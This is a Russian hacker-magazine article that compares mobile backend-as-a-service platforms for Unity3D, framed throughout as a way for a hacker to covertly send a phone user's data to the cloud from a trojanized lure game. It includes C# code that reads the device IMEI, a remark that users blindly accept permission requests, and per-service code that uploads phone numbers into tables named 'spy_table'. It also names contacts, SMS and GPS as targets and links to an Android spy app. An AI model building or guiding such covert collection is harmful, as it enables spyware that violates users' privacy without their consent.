Сов­ремен­ные облачные сер­висы пред­лага­ют хакерам потен­циаль­но неог­раничен­ные ресур­сы. Так, Ама­зон активно исполь­зует­ся для взло­ма WPA-брут­форсом — немец­кий эксперт Томас Рот еще в 2011-м переби­рал пол­милли­она паролей в секун­ду, опла­чивая каж­дую минуту все­го 28 цен­тами. Сегод­ня ско­рость перебо­ра за ту же цену навер­няка дос­тигла не одно­го мил­лиона вари­антов. И даже Wikileaks перенес­ла свои докумен­ты в ама­зонов­ские служ­бы, научив­шиеся дос­таточ­но успешно справ­лять­ся с DDoS-ата­ками. Пора в обла­ка и нам.

 

Мобильный бэкенд — просто и бесплатно

На базе «низ­коуров­невых» облачных сис­тем (голые вир­туаль­ные сер­веры или вир­туаль­ные фай­ловые хра­нили­ща) сегод­ня активно надс­тра­ивают­ся бэкен­ды, ори­енти­рован­ные на кон­крет­ные нуж­ды прик­ладных раз­работ­чиков. Так называ­емые backend as a service (BaaS) поль­зуют­ся осо­бен­но активным спро­сом у мобиль­ных прог­раммис­тов, в свя­зи с чем сегод­ня фак­тичес­ки сти­рают­ся раз­личия меж­ду BaaS и Mobile BaaS (MBaaS). MBaaS-услу­ги очень популяр­ны у раз­работ­чиков онлай­новых игр и в стар­тапов­ских про­ектах, так как эко­номят огромное количес­тво ресур­сов и вре­мени на раз­верты­вание и соп­ровож­дение сер­верной инфраструк­туры. Под­клю­чить к кли­ент­ской час­ти облачное хра­нили­ще, учет­ные служ­бы ведения поль­зовате­лей, соци­аль­ные сер­висы и мно­жес­тво дру­гих фич и запус­тить дей­ству­ющий про­тотип в экс­плу­ата­цию сегод­ня мож­но бук­валь­но за нес­коль­ко часов, при­чем бес­плат­но.

Что­бы поз­накомить тебя с базовы­ми прин­ципами сты­ков­ки с MBaaS, я задумал одну неболь­шую фан­тазию. На которую меня, кста­ти, вдох­новило Агентство наци­ональ­ной безопас­ности США, которое скрыт­но собира­ло дан­ные через игру Angry Birds, встро­ив в нее тро­янец :).

Суть фан­тазии сле­дующая. Допус­тим, име­ется кросс‑плат­формен­ная прог­рамма на Unity3D/C#, спо­соб­ная работать в Windows, на Android и iOS. Нап­ример, это может быть прос­тень­кая мобиль­ная игра‑зав­лекалоч­ка. Хакер хочет незамет­но для поль­зовате­ля перег­нать его дан­ные в обла­ко и потом получить к ним удоб­ный дос­туп. Какими ресур­сами он для это­го будет поль­зовать­ся?

 

Методика использования MBaaS

Вза­имо­дей­ствие с любой MBaaS-служ­бой отли­чает­ся в тех­ничес­ких деталях, но обыч­но раз­вива­ется по типовой схе­ме:

  1. Ре­гис­три­руем­ся в MBaaS-сер­висе.
  2. Соз­даем про­ект или при­ложе­ние, получа­ем для него клю­чи дос­тупа, которые зада­ем в кли­ент­ской прог­рамме.
  3. На кли­ент­ской сто­роне прог­рамми­руем соеди­нение с сер­вером.
  4. Не­ред­ко допол­нитель­но тре­бует­ся завес­ти условно­го поль­зовате­ля, который будет иден­тифици­ровать кон­крет­ный сеанс свя­зи смар­тфо­на с сер­висом.
  5. Пос­редс­твом дос­таточ­но прос­того API (обыч­но объ­ектно ори­енти­рован­ного) переда­ем дан­ные в обла­ко.
  6. Пе­риоди­чес­ки прос­матри­ваем кон­соль MBaaS и ана­лизи­руем, какие дан­ные за пос­леднее вре­мя были сли­ты.

Я рас­смот­рю шесть MBaaS-служб, в которых дек­лариру­ется под­дер­жка Unity3D. BaaS-сер­висов схо­жего наз­начения на самом деле десят­ки, и чаще все­го обес­печива­ется вза­имо­дей­ствие с SDK для Android и iOS, но мы спе­циаль­но не будем при­вязы­вать­ся к кон­крет­ной плат­форме, что­бы за деталя­ми реали­зации не потерять суть.

 

Что и как будет слито?

По­лез­ными в прос­тей­шем слу­чае ока­жут­ся телефон­ные номера в спис­ке кон­тактов и тек­сты эсэ­мэсок; в более прод­винутых слу­чаях мож­но, получив рут, качать дан­ные поин­терес­ней, в том чис­ле и GPS. В рам­ках даже кросс‑плат­формен­ного Unity3D соот­ветс­тву­ющие фун­кции мож­но реали­зовать впол­не ком­фор­тно, дос­таточ­но добавить нес­коль­ко десят­ков строк ори­гиналь­ного кода под каж­дую из трех основных плат­форм (Android, iOS, Windows Phone).
Нап­ример, так:

#if UNITY_ANDROID
AndroidJavaObject TM = new AndroidJavaObject("android.telephony.TelephonyManager");
string IMEI = TM.Call<string>("getDeviceId");
...

или даже про­ще:

string IMEI = SystemInfo.deviceUniqueIdentifier;

На­до толь­ко не забыть вклю­чить в нас­трой­ках про­екта раз­решение READ_PHONE_STATE, все рав­но поль­зовате­ли прак­тичес­ки всег­да при­нима­ют эти зап­росы по умол­чанию.

 

Выбираем лучших из худших

Моя оцен­ка MBaaS-сис­тем, конеч­но, доволь­но субъ­ективна, я учи­тывал преж­де все­го порог вхож­дения в соот­ветс­тву­ющий сер­вис: как быс­тро мож­но запус­тить работа­ющий тес­товый при­мер, сколь удоб­на докумен­тация, каковы воз­можнос­ти в целом.

 

GameSparks.com

Гор­до называ­ющий себя The #1 Backend-as-a-Service platform for games, этот сер­вис зас­лужил твер­дый неуд и получил пер­вое мес­то с кон­ца. Регис­тра­ция занима­ет минуту, пус­тая игра тоже мгно­вен­но соз­дает­ся, а сам SDK в фор­мате unitypackage уста­нав­лива­ется без проб­лем. Пер­вый зво­ночек проз­вучал при копиро­вании игро­вых клю­чей: в кон­соли под API Key и API Secret отве­дено столь мало мес­та (а авто­мати­чес­ки они не выделя­ются), что в резуль­тате очень лег­ко оши­боч­но ско­пиро­вать часть клю­ча без его невиди­мого хвос­та. Сами клю­чи зада­ем в сце­не Unity3D в нас­трой­ках меню GameSparks.

Сер­вис под­держи­вает мно­жес­тво плат­форм: iOS, Android, JavaScript, Marmalade, Cocos2d, Flash и дру­гие. Для Unity3D пред­лага­ется две вер­сии SDK, одна­ко пос­леднюю, третью, вооб­ще не рекомен­дую: пока очень сырая, мно­го багов, не выпол­няет­ся аутен­тифика­ция по стан­дар­тной инс­трук­ции, хотя на раз­биратель­ство я пот­ратил не один час. А вот пре­дыду­щая вер­сия Unity SDK 2 под­клю­чилась к сер­веру GameSparks без проб­лем, одна­ко порази­ло прак­тичес­ки пол­ное отсутс­твие внят­ной докумен­тации и общая корявость. Стран­ный при­мер с акцентом на под­клю­чении к фей­сбу­ку с исполь­зовани­ем плат­ной биб­лиоте­ки NGUI добил окон­чатель­но. Увы, но даже такие соб­лазни­тель­ные вещи, как NoSQL, пря­мая интегра­ция с соц­сетями, да и вооб­ще в целом весь­ма обширная фун­кци­ональ­ность, не переси­лили потен­циаль­но необ­ходимо­го рас­хода вре­мени на пог­ружение в доки.

Фо­румы GameSparks тоже не раду­ют: на воп­росы поль­зовате­лей обе­щания суп­порта «мы рас­смот­рим ваши пожела­ния» висят месяца­ми. Вооб­ще рекомен­дую обра­щать вни­мание на этот момент, потому что рынок MBaaS-сер­висов весь­ма нес­табиль­ный.

Вмес­те с тем на бес­плат­ном тарифе GameSparks мож­но получить 20 Гб облачно­го прос­транс­тва, 20 Гб сум­марно­го тра­фика и 20 мил­лионов вызовов API — эти циф­ры весь­ма серь­езные и пре­вос­ходят кон­курен­тов под­час на порядок. Свя­зано ли это с агрессив­ной мар­кетин­говой полити­кой раз­вития или же с судорож­ным стрем­лени­ем удер­жать­ся на пла­ву в усло­виях рас­тущей кон­курен­ции, покажет вре­мя.

 

Kumakore.com

Вер­сии SDK пред­лага­ются для Unity, Android, iOS, а так­же, что важ­но, дос­тупен уни­вер­саль­ный REST API. При­ятно, что все SDK выложе­ны на GitHub в исходни­ках. Про­цесс нас­трой­ки про­екта Unity3D схож с про­цес­сом из пре­дыду­щего при­мера: так же импорти­руем SDK с unitypackage, в кон­соли соз­даем при­ложе­ние и запоми­наем клю­чи. Но на этом все позитив­ные момен­ты закан­чива­ются. Обе­щан­ный в докумен­тации при­мер Hellow world в пакете отсутс­тву­ет. Фун­кция под­клю­чения к сер­веру содер­жит допол­нитель­ный параметр (вер­сия при­ложе­ния), фор­мат которо­го с ходу отыс­кать не уда­ется.

Для пер­вично­го соеди­нения с обла­ком Kumakore под­став­ляем в конс­трук­тор, фор­миру­ющий связь с сер­вером, соот­ветс­тву­ющие зна­чения клю­чей из кон­соли и вер­сию при­ложе­ния:

KumakoreApp app = new KumakoreApp("b99418973e694ec8ce453a53bf712a79", "0.0", 1415103791);

Вир­туаль­ного поль­зовате­ля луч­ше соз­дать в кон­соли заранее:

app.signin("kumasun3157","password").sync(delegate(ActionUserSignin action) {
if(action.getCode() == StatusCodes.SUCCESS) {
// Сливаем данные на сервер
// ...
} });

warning

Ес­ли ты хочешь, что­бы тебе зво­нили не суровые лей­тенан­ты из управле­ния «К», а Марк Цукер­берг или Мар­кус Пер­ссон, Вик­тор Кис­лый или Илья Сухарь, сде­лай луч­ше что‑нибудь позитив­ное. Это может быть ММО про Мат­рицу, хороший мобиль­ный мес­сен­джер для обще­ния хакеров или пла­гины для ведущих MBaaS-служб, бла­го они поз­воля­ют соз­дать дей­ству­ющий про­тотип мно­гополь­зователь­ской сис­темы в счи­таные недели.

info

Бо­лее под­робно с копиро­вани­ем важ­ных дан­ных с телефо­на мож­но поз­накомить­ся, поизу­чав, нап­ример, исходни­ки сво­бод­ного про­екта Droid Watcher — Android Spy Application на GitHub.

Глав­ный минус сер­виса Kumakore для наших целей в том, что дан­ные необ­ходимо гру­зить в объ­екты хра­нения, при­вязан­ные к кон­крет­ному поль­зовате­лю. Вро­де бы в сер­висе при­сутс­тву­ет и некий Global Object, одна­ко при­меров работы с ним най­ти не уда­лось. В рам­ках текуще­го кон­некта app надо получить текуще­го поль­зовате­ля getUser(), из него вытащить внут­реннее хра­нили­ще getDatastore() и потом уже внут­ри соз­дать нуж­ный объ­ект в фор­мате кол­лекции ключ — зна­чение:

// Наши данные
Dictionary<string,object> data = new Dictionary<string, object>();
data.Add("phone_num", "123-45-67");
// Условные пользовательские идентификаторы объекта
string type = "phone";
string name = "lox";
ActionDatastoreCreate action2 = app.getUser().getDatastore().create(type, name, data);
action2.sync(delegate(ActionDatastoreCreate a) {
if(a.getCode() == StatusCodes.SUCCESS) {
// Успешно!
} });

К минусам так­же надо отнести мес­тами уста­рев­шую докумен­тацию (фор­маты вызовов мно­гих фун­кций изме­нены) и отсутс­твие хороших при­меров, а так­же сла­бую под­дер­жку сер­верной логики, но в целом этот сер­вис минималь­но удов­летво­рите­лен. Прав­да, и бес­плат­ный тариф очень минима­лис­тичен: 500 Мб хра­нили­ща и в сум­ме мил­лион зап­росов API и push-уве­дом­лений в месяц.

 

Kii.com

Еще один доволь­но неук­люжий сер­вис, на этот раз из Япо­нии. Пре­иму­щес­тво его перед пре­дыду­щим — наличие какого‑никако­го авто­ном­ного объ­ектно­го хра­нили­ща. Быс­тро регис­три­руем­ся, соз­даем в кон­соли при­ложе­ние, выбира­ем мес­тонахож­дение сер­вера (от это­го выбора будет зависеть вре­мя откли­ка облачной служ­бы), получа­ем два клю­ча.

Са­ма нас­трой­ка SDK и пер­вично­го под­клю­чения не слиш­ком три­виаль­на, а все вза­имо­дей­ствие с обла­ком под­разуме­вает регис­тра­цию игро­ка, что, как отме­чалось, не очень удоб­но. В SDK вхо­дят три DLL’ки, вклю­чая неп­лохой JSON-пар­сер. Они копиру­ются в каталог Assets нового про­екта, пос­ле чего надо прик­репить на пус­той игро­вой объ­ект базовый скрипт. В его нас­трой­ках вво­дим Application ID, Application Key и Site (пос­ледний зависит от геог­рафии сер­вера).

Со­еди­нение с сер­вером стар­туем через регис­тра­цию нового поль­зовате­ля.

KiiUser user = KiiUser.BuilderWithName ("username").Build ();
user.Register("password", (KiiUser user2, Exception e) =>
{
if (e != null)
{ // Ошибка авторизации
return;
}
// Успешно!
});

Те­перь мож­но обра­щать­ся к облачно­му JSON-хра­нили­щу. В нем фор­миру­ются име­нован­ные «бакеты» — условные наборы про­изволь­ных объ­ектов.

KiiBucket bucket = Kii.Bucket("spy_table");
// Готовим объект, который будет записан в облако:
KiiObject kiiObj = bucket.NewKiiObject();
kiiObj["phone_num"] = "123-45-67";
kiiObj["money"] = 500;
kiiObj.Save((KiiObject obj, Exception e) =>
{
if (e != null)
{
// Неудачно
}
else
{
// Успешно!
}
});

Сер­верная логика реали­зует­ся с помощью так называ­емых сер­верных рас­ширений, которые пишут­ся на JavaScript. Важ­но, что вызывать эти скрип­ты мож­но как по усло­виям (по рас­писанию или даже вруч­ную, отсле­живая про­цесс из кон­соли), так и нап­рямую из кли­ент­ско­го кода:

KiiServerCodeEntry entry = Kii.ServerCodeEntry("main");
entry.Execute(...);

Поль­зовате­лю для экспе­римен­тов пред­лага­ется 1 Гб хра­нили­ща и по мил­лиону вызовов API и push-уве­дом­лений в месяц.

 

Призеры и победитель

 

3-е место. Gamesnet.Yahoo.net

Быв­шая PlayerIO.com, при­обре­тен­ная Yahoo в прош­лом году, раз­вивалась весь­ма успешно, наб­рав за четыре года 150 мил­лионов поль­зовате­лей. Теперь она офи­циаль­но называ­ется Yahoo Games Network, хотя в самой плат­форме осо­бых изме­нений не про­изош­ло — нап­ример, клю­чевые клас­сы име­нуют­ся по‑преж­нему PlayerIO. Под­держи­ваемые плат­формы— Android Java, iOS/Objective-C, Unity3D/.NET, ActionScript. Флеш, кста­ти, до сих пор позици­они­рует­ся как основная кли­ент­ская плат­форма, боль­шинс­тво при­меров и тутори­алов сде­ланы на ActionScript, и это мораль­ное уста­рева­ние, конеч­но, глав­ный минус дан­ной плат­формы. А в докумен­тации при­меры все еще для Visual Studio 2010.

Пос­ле прос­той регис­тра­ции соз­даем новую игру. В спис­ке сер­висов Yahoo име­ется облачное NoSQL-хра­нили­ще BigDB. Силь­ная сто­рона Yahoo в воз­можнос­ти пря­мой с ним работы в обход допол­нитель­ного регис­три­рова­ния игро­ков. Из кон­соли сер­виса на вклад­ке BigDB соз­дадим новую таб­лицу для хра­нения наших объ­ектов (нап­ример, xtable). Хра­нили­ще нереля­цион­ное и бес­схем­ное, поэто­му задавать жес­ткую струк­туру таб­лицы не тре­бует­ся, дос­таточ­но прос­то ука­зать ее имя.

SDK для Unity3D пред­став­ляет собой пус­тую заготов­ку про­екта, за всю облачную фун­кци­ональ­ность отве­чает DLL’ка PlayerIOUnity3DClient.dll.

Со­еди­нение с сер­вером выпол­няет­ся прос­тым кодом

PlayerIOClient.PlayerIO.Connect(
"test-emwr9sy8ohefq9ce7mbsb7",
"public",
"user-id",
null,
null,
null,
delegate(Client client) {
// Соединение установлено
},
delegate(PlayerIOError error) {
// Ошибка
Debug.Log(error.Message);
});

Фак­тичес­ки дос­таточ­но ука­зать единс­твен­ный иден­тифика­тор Game ID и любой про­изволь­ный иден­тифика­тор текуще­го поль­зовате­ля (в нашем слу­чае — "user-id").

Пос­ле нас­трой­ки соеди­нения мож­но сра­зу слить нуж­ную информа­цию о телефо­не поль­зовате­ля в обла­ко. Для это­го соз­дадим объ­ект базы дан­ных и запол­ним его про­изволь­но наз­ванные поля:

DatabaseObject obj_db = new DatabaseObject();
obj_db.Set("phone_num", "123-45-67");
obj_db.Set("money", 500);

До­бав­ление объ­екта в базу столь же проз­рачно:

client.BigDB.CreateObject("xtable", "user-id", obj_db,
delegate (DatabaseObject result){ result.Save(null); });

Нуж­ные нам дан­ные появят­ся в кон­соли сер­виса Yahoo.

К минусам дан­ного сер­виса отне­су минима­лис­тичные при­меры толь­ко для фле­ша, кри­вова­тую и доволь­но скуд­ную докумен­тацию. Впро­чем, это все ком­пенси­рует­ся прос­той и устой­чивой работой сер­виса и общей надеж­ностью под эги­дой Yahoo.

Осо­бо хочу отме­тить отличный акцент на раз­работ­ке муль­тип­леер­ного сер­верно­го кода — раз­работ­ка может вес­тись в Visual Studio, на сер­вер гру­зит­ся обыч­ная DLL’ка, а прог­раммис­ту дос­тупны наг­лядные услу­ги соп­ровож­дения девело­пер­ских клас­теров. По этой при­чине, нес­мотря на общую аске­тич­ность, дан­ный сер­вис уве­рен­но выходит на третье мес­то.

Рис. 1. Данные, слитые в облако Yahoo
Рис. 1. Дан­ные, сли­тые в обла­ко Yahoo
 

2-е место. Api.Shephertz.com (App42)

Дан­ный сер­вис попал на вто­рое мес­то в какой‑то сте­пени по бла­ту: я с ним хорошо зна­ком, поль­зуюсь им активно и очень доволен. Осо­бо хочу отме­тить суп­порт: уже пос­ле пер­вых экспе­римен­тов мне наз­начили менед­жера из Индии, с которым мы успешно перепи­сыва­емся.

App42 Cloud API раз­вива­ется весь­ма ста­биль­но, и спи­сок услуг пос­тоян­но рас­ширя­ется. Сей­час дос­тупны два десят­ка кли­ент­ских тех­нологий: от типовых (хра­нили­ще, уве­дом­ления, поч­та, соц­сети, ачив­ки, топы, сер­верный код, ана­лити­ка) до доволь­но ори­гиналь­ных (под­дер­жка геодан­ных, аль­бомы фотог­рафий, логии вызовов, э‑ком­мерция, асин­хрон­ные оче­реди сооб­щений, офлай­новые режимы и про­чее).

При регис­тра­ции получа­ем игро­вые клю­чи и начина­ем нас­тра­ивать соеди­нение. К неболь­шим минусам App42 надо отнести отсутс­твие готово­го JSON-пар­сера в стан­дар­тном SDK, поэто­му я взял опен­сор­сный SimpleJSON. Еще одна стран­ность дан­ной плат­формы — обра­бот­ка негатив­ных отве­тов сер­вера через пре­рыва­ния, хотя по‑взрос­лому это при­нято реали­зовы­вать с помощью делега­тов.

ServiceAPI cloudAPI;
StorageService storageService;
try
{
// Соединяемся с сервером:
cloudAPI = new ServiceAPI("27bba692c71f3ece89767", "05747459e61b39");
// Устанавливаем связь с облачным хранилищем:
storageService = cloudAPI.BuildStorageService();
}
catch(Exception)
{ // Неудачно
storageService = null;
}

За­писы­ваем дан­ные в обла­ко:

try {
JSONClass jsonobj = new JSONClass();
jsonobj.Add("phone_num", "123-45-67");
jsonobj.Add("money", 500);
// Сохраняем объект в облачной табличке spy_table с ключом spy_info:
storageService.InsertJSONDocument("spy_table","spy_info", jsonobj);
// Успешно!
}
catch(App42Exception )
{
// Неуспешно
}

Сер­верный код пишет­ся на Java.

Сер­вис пред­лага­ет бес­плат­но мил­лион вызовов API в месяц, мил­лион push-уве­дом­лений, 1 Гб облачно­го хра­нили­ща и 1 Гб сум­марно­го тра­фика

Рис. 2. Данные, слитые в облако App42
Рис. 2. Дан­ные, сли­тые в обла­ко App42
 

1-е место. Parse.com

Этот сер­вис — однознач­ный победи­тель нашего рей­тин­га, и сов­сем не потому, что его соз­датель — мос­квич Илья Сухарь. Он осно­вал этот стар­тап в 2011 году, и уже спус­тя два года ему поз­вонил Цукер­берг, пред­ложив за сер­вис Parse 85 мил­лионов дол­ларов, на что Илья сог­ласил­ся. И это при том, что пред­ложения ему делали так­же Dropbox, Google и Yahoo!

В Parse.com все реали­зова­но очень прос­то и эле­ган­тно. Регис­три­руем­ся, соз­даем пус­тое при­ложе­ние в кон­соли Parse, в раз­деле Keys копиру­ем нуж­ные клю­чи. Ска­чива­ем пус­тую заготов­ку про­екта Unity3D, в котором за все фун­кции плат­формы отве­чает Parse.Unity.dll. Откры­ваем сце­ну, в нас­трой­ках объ­екта Parse Initializer зада­ем клю­чи Application ID и .NET Key.

В коде дос­таточ­но ввес­ти еди­нич­ные опе­рато­ры, что­бы выпол­нить нуж­ную фун­кцию по сох­ранению дан­ных в обла­ке Parse:

ParseObject testObject = new ParseObject("TestObject");
testObject["phone"] = "123-45-67";
testObject["money"] = 500;
testObject.SaveAsync();

TestObject — это наз­вание облачной таб­лички, которая соз­дает­ся в раз­деле Data кон­соли Parse парой щел­чков мыши.

Не удер­жусь и при­веду эле­ган­тный код счи­тыва­ния дан­ных из обла­ка Parse:

ParseQuery<ParseObject> query = ParseObject.GetQuery("TestObject");
query.GetAsync("v3unymsLIv").ContinueWith(t =>
{
ParseObject testObj = t.Result;
Debug.Log(testObj["phone"]);
});

В качес­тве парамет­ра GetAsync() выс­тупа­ет внут­ренний иден­тифика­тор нуж­ного объ­екта (objectId), дос­тупный в кон­соли.

Сер­верная логика проз­рачно кодиру­ется на JavaScript, а соот­ветс­тву­ющий код мож­но при­вязы­вать к раз­личным событи­ям или запус­кать в фоне. При­ятно, что даже бес­плат­ный тариф Parse.com весь­ма щедр: по 20 Гб облачно­го прос­транс­тва на свои объ­екты и на фай­лы, 2 Тб тра­фика, 30 обра­щений к API в секун­ду (2,67 мили­иона вызовов в месяц) и одна фоновая сер­верная задача.

Рис. 3. Данные, слитые в облако Parse
Рис. 3. Дан­ные, сли­тые в обла­ко Parse

www

Неп­лохие MBaaS-сер­висы:

 

Вне конкурса

От­мечу нес­коль­ко дру­гих неп­лохих сер­висов. Это, нап­ример, оте­чес­твен­ная раз­работ­ка QuickBlox, пред­лага­ющая пак для Unity3D, где акцент сде­лан на заг­рузке‑выг­рузке фай­лов и вза­имо­дей­ствии с хра­нили­щем Amazon S3. Минус в том, что для дос­тупа к хра­нили­щу Asset bundles пот­ребу­ется Pro-вер­сия Unity.

Есть плат­формы, в которых отсутс­тву­ет пря­мая под­дер­жка облачно­го хра­нили­ща через Unity3D, но неред­ко име­ется воз­можность обра­щения к нему через уни­вер­саль­ный REST API. Это, конеч­но, и Google Cloud, и Amazon со све­жим Cognito для iOS, Android и собс­твен­ной ОС Fire.

От­дель­но надо выделить очень популяр­ную в gamedev-тусов­ке служ­бу Photon, которая пре­дос­тавля­ет мощ­ный и отлично мас­шта­биру­ющий­ся облачный бэкенд Photon Cloud для мобиль­ных, веб- и PC-плат­форм. Фотон ори­енти­рован на соз­дание мно­гополь­зователь­ских 3D-игр и облачное хра­нили­ще дан­ных не пред­лага­ет, но всег­да есть воз­можность заказать дедик и нас­тра­ивать его под свои прод­винутые нуж­ды. Поль­зовате­лям пре­дос­тавля­ется высоко­уров­невая муль­тип­леер­ная сре­да, где не нуж­но самос­тоятель­но заботить­ся о син­хро­низа­ции игро­вого мира в реаль­ном вре­мени или в пошаго­вом режиме меж­ду все­ми поль­зовате­лями. Минус Фотона для хакера в том, что эта абс­трак­тность под­разуме­вает исполь­зование скры­тых методов переда­чи дан­ных, близ­ких к сте­ганог­рафии. Ну или мож­но быс­тро прик­рутить обыч­ный чат — это столь вос­тре­бован­ная услу­га в спис­ке воз­можнос­тей Photon, что даже позици­они­рует­ся особ­няком.

Оставить мнение